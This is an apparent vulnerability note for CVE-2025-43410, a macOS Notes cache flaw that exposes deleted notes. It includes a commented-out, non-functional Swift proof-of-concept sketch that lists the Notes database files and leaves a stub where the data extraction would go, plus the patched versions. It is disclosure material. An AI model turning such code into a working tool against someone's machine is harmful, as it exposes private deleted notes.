CVE-2025-43410 macOS Notes应用缓存处理不当导致删除笔记信息泄露

// CVE-2025-43410 PoC Concept // Note: This is a conceptual PoC for educational purposes only // Physical access to the target machine is required /* import Foundation class NotesCacheExploit { func accessDeletedNotes() -> [String] { // Access Notes application cache directory let cachePath = "~/Library/Group Containers/group.com.apple.notes/" // Read cached notes data that should have been deleted let fileManager = FileManager.default if let cacheFiles = try? fileManager.contentsOfDirectory(atPath: cachePath) { var deletedNotes: [String] = [] for file in cacheFiles { if file.hasSuffix(".sqlite") || file.contains("NoteStore") { // Read SQLite database containing cached notes let fullPath = (cachePath as NSString).appendingPathComponent(file) // Parse database to extract deleted notes content deletedNotes.append(contentsOf: extractNotesFromDB(fullPath)) } } return deletedNotes } return [] } private func extractNotesFromDB(_ path: String) -> [String] { // Implementation would involve SQLite database parsing // to extract notes marked as deleted but still present in cache return [] } } // This vulnerability allows viewing of deleted notes through cache access // Fixed in: macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.2 */